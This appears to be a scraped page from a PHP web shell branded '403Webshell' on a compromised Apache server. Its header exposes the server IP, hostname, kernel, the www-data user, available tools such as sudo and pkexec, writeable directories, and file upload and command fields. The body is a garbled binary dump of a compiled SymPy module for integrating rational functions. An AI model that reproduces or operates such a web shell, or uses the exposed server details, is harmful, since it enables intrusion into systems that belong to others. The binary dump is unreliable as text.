403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sympy/integrals/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sympy/integrals/__pycache__/rationaltools.cpython-310.pyc
o

�8VaY)�@szdZddlmZmZmZmZmZmZmZm	Z	m
Z
mZmZddl
mZmZmZdd�Zdd�Zdd	d
�Zdd�Zd
d�ZdS)zAThis module implements tools for integrating rational functions. �)�S�Symbol�symbols�I�log�atan�roots�RootSum�Lambda�cancel�Dummy)�Poly�	resultant�ZZc
Ks*t|�tur
|��\}}n|\}}t||ddd�t||ddd�}}|�|�\}}}|�|�\}}|�|���}|jr?||St	|||�\}}	|	��\}
}t|
|�}
t||�}|
�|�\}}|||�|���7}|j�s|�
dd�}
t|
t�s}t
|
�}n|
��}t||||�}|�
d�}|dur�t|�tur�|��}n|\}}|��|��B}||hD]	}|js�d}nq�d}tj}|s�|D]\}	}|	��\}}	|t|t||t|	����dd�7}q�n/|D],\}	}|	��\}}	t|	|||�}|dur�||7}q�|t|t||t|	����dd�7}q�||7}||S)	aa
    Performs indefinite integration of rational functions.

    Explanation
    ===========

    Given a field :math:`K` and a rational function :math:`f = p/q`,
    where :math:`p` and :math:`q` are polynomials in :math:`K[x]`,
    returns a function :math:`g` such that :math:`f = g'`.

    Examples
    ========

    >>> from sympy.integrals.rationaltools import ratint
    >>> from sympy.abc import x

    >>> ratint(36/(x**5 - 2*x**4 - 2*x**3 + 4*x**2 + x - 2), x)
    (12*x + 6)/(x**2 - 1) + 4*log(x - 2) - 4*log(x + 1)

    References
    ==========

    .. [1] M. Bronstein, Symbolic Integration I: Transcendental
       Functions, Second Edition, Springer-Verlag, 2005, pp. 35-70

    See Also
    ========

    sympy.integrals.integrals.Integral.doit
    sympy.integrals.rationaltools.ratint_logpart
    sympy.integrals.rationaltools.ratint_ratpart

    FT)�	composite�field�symbol�t�realN)�	quadratic)�type�tuple�as_numer_denomr
r�div�	integrate�as_expr�is_zero�ratint_ratpart�get�
isinstancerr�as_dummy�ratint_logpart�atoms�is_extended_realr�Zero�	primitiver	r
r�log_to_real)�f�x�flags�p�q�coeff�poly�result�g�h�P�Q�rrr�Lrr"�elt�eps�_�R�r9�?/usr/lib/python3/dist-packages/sympy/integrals/rationaltools.py�ratintsf""





�
��

�r;cs$ddlm}t||�}t||�}|�|���\}}}|���|����fdd�td��D�}�fdd�td��D�}||}	t||t|	d�}
t||t|	d�}||
��||
|��|�|�||}||�	�|	�}
|
�
��|
�}
|�
��|
�}t|
|�
�|�}t||�
�|�}||fS)a�
    Horowitz-Ostrogradsky algorithm.

    Explanation
    ===========

    Given a field K and polynomials f and g in K[x], such that f and g
    are coprime and deg(f) < deg(g), returns fractions A and B in K(x),
    such that f/g = A' + B and B has square-free denominator.

    Examples
    ========

        >>> from sympy.integrals.rationaltools import ratint_ratpart
        >>> from sympy.abc import x, y
        >>> from sympy import Poly
        >>> ratint_ratpart(Poly(1, x, domain='ZZ'),
        ... Poly(x + 1, x, domain='ZZ'), x)
        (0, 1/(x + 1))
        >>> ratint_ratpart(Poly(1, x, domain='EX'),
        ... Poly(x**2 + y**2, x, domain='EX'), x)
        (0, 1/(x**2 + y**2))
        >>> ratint_ratpart(Poly(36, x, domain='ZZ'),
        ... Poly(x**5 - 2*x**4 - 2*x**3 + 4*x**2 + x - 2, x, domain='ZZ'), x)
        ((12*x + 6)/(x**2 - 1), 12/(x**2 - x - 2))

    See Also
    ========

    ratint, ratint_logpart
    r)�solvec� g|]}tdt�|���qS)�a�r�str��.0�i)�nr9r:�
<listcomp>�� z"ratint_ratpart.<locals>.<listcomp>cr=)�br?rA)�mr9r:rE�rF)�domain)
�sympyr<r
�	cofactors�diff�degree�ranger�quo�coeffsr�subsr)r'r/r(r<�u�vr7�A_coeffs�B_coeffs�C_coeffs�A�B�Hr.�rat_part�log_partr9)rHrDr:rvs$ 

.rNcCs�t||�t||�}}|ptd�}|||��t||�}}t||dd�\}}t||dd�}|s9Jd||f��ig}}	|D]}
|
||
��<q@dd�}|��\}}
|||
�|
D]�\}}|��\}}|��|krr|	�||f�qZ||}t|��|dd	�}|jdd
�\}}|||�|D]\}}|�	t|�
|�||��}q�|�|�tj
g}}|��dd�D]}|�|j�}||�|�}|�|���q�tttt|��|���|�}|	�||f�qZ|	S)
an
    Lazard-Rioboo-Trager algorithm.

    Explanation
    ===========

    Given a field K and polynomials f and g in K[x], such that f and g
    are coprime, deg(f) < deg(g) and g is square-free, returns a list
    of tuples (s_i, q_i) of polynomials, for i = 1..n, such that s_i
    in K[t, x] and q_i in K[t], and::

                           ___    ___
                 d  f   d  \  `   \  `
                 -- - = --  )      )   a log(s_i(a, x))
                 dx g   dx /__,   /__,
                          i=1..n a | q_i(a) = 0

    Examples
    ========

    >>> from sympy.integrals.rationaltools import ratint_logpart
    >>> from sympy.abc import x
    >>> from sympy import Poly
    >>> ratint_logpart(Poly(1, x, domain='ZZ'),
    ... Poly(x**2 + x + 1, x, domain='ZZ'), x)
    [(Poly(x + 3*_t/2 + 1/2, x, domain='QQ[_t]'),
    ...Poly(3*_t**2 + 1, _t, domain='ZZ'))]
    >>> ratint_logpart(Poly(12, x, domain='ZZ'),
    ... Poly(x**2 - x - 2, x, domain='ZZ'), x)
    [(Poly(x - 3*_t/8 - 1/2, x, domain='QQ[_t]'),
    ...Poly(-_t**2 + 16, _t, domain='ZZ'))]

    See Also
    ========

    ratint, ratint_ratpart
    rT)�
includePRSF)rz$BUG: resultant(%s, %s) can't be zerocSsF|jr|dkdkr!|d\}}|�|j�}|||f|d<dSdSdS)NrT)r#�as_poly�gens)�c�sqfr0�k�c_polyr9r9r:�
_include_sign�s
�z%ratint_logpart.<locals>._include_sign)r)�all�N)r
rrLrrM�sqf_listr%�append�LCrO�gcd�invertr�OnerPr]r^�remr�dict�list�zip�monoms)r'r/r(rr>rG�resr8�R_maprYr3rc�C�res_sqfr+rCr7r0�h_lcr_�h_lc_sqf�j�invrPr,�Tr9r9r:r!�s<&


r!c	Cs�|��|��kr||}}|��}|��}|�|�\}}|jr(dt|���S|�|�\}}}||||�|�}dt|���}|t||�S)a0
    Convert complex logarithms to real arctangents.

    Explanation
    ===========

    Given a real field K and polynomials f and g in K[x], with g != 0,
    returns a sum h of arctangents of polynomials in K[x], such that:

                   dh   d         f + I g
                   -- = -- I log( ------- )
                   dx   dx        f - I g

    Examples
    ========

        >>> from sympy.integrals.rationaltools import log_to_atan
        >>> from sympy.abc import x
        >>> from sympy import Poly, sqrt, S
        >>> log_to_atan(Poly(x, x, domain='ZZ'), Poly(1, x, domain='ZZ'))
        2*atan(x)
        >>> log_to_atan(Poly(x + S(1)/2, x, domain='QQ'),
        ... Poly(sqrt(3)/2, x, domain='EX'))
        2*atan(2*sqrt(3)*x/3 + sqrt(3)/3)

    See Also
    ========

    log_to_real
    �)	rM�to_fieldrrrr�gcdexrO�log_to_atan)	r'r/r*r+�srr0rRrWr9r9r:r}sr}c	Cs^ddlm}tdtd�\}}|���||t|i���}|���||t|i���}||tdd�}	||tdd�}
|	�t	j
t	j�|	�tt	j�}}|
�t	j
t	j�|
�tt	j�}
}tt
|
||�|�}t|dd�}t|�|��krsd	St	j}|��D]�}t|
�||i�|�}t|dd�}t|�|��kr�d	Sg}|D]!}||vr�||vr�|js�|��r�|�|�q�|js�|�|�q�|D]E}|�||||i�}|jd
d�dkr�q�t|�||||i�|�}t|�||||i�|�}|d|d��}||t|�|t||�7}q�qzt|dd�}t|�|��k�rd	S|��D]}||t|���||��7}�q|S)
aw
    Convert complex logarithms to real functions.

    Explanation
    ===========

    Given real field K and polynomials h in K[t,x] and q in K[t],
    returns real function f such that:
                          ___
                  df   d  \  `
                  -- = --  )  a log(h(a, x))
                  dx   dx /__,
                         a | q(a) = 0

    Examples
    ========

        >>> from sympy.integrals.rationaltools import log_to_real
        >>> from sympy.abc import x, y
        >>> from sympy import Poly, S
        >>> log_to_real(Poly(x + 3*y/2 + S(1)/2, x, domain='QQ[y]'),
        ... Poly(3*y**2 + 1, y, domain='ZZ'), x, y)
        2*sqrt(3)*atan(2*sqrt(3)*x/3 + sqrt(3)/3)/3
        >>> log_to_real(Poly(x**2 - 1, x, domain='ZZ'),
        ... Poly(-2*y + 1, y, domain='ZZ'), x, y)
        log(x**2 - 1)/2

    See Also
    ========

    log_to_atan
    r)�collectzu,v)�clsF)�evaluater8)�filterNT)�choprz)rJrrrrrQr�expandrrrkr$r
rr�len�count_roots�keys�is_negative�could_extract_minus_signrgr�evalfrr})r0r+r(rrrRrSrYr2�H_map�Q_mapr>rGr_�dr8�R_ur.�r_urs�R_v�
R_v_paired�r_v�DrWrX�AB�R_qr3r9r9r:r&AsR!  
� � r&)N)�__doc__rJrrrrrrrr	r
rr�sympy.polysr
rrr;rr!r}r&r9r9r9r:�<module>s4n
?[1

Youez - 2016 - github.com/yon3zu
LinuXploit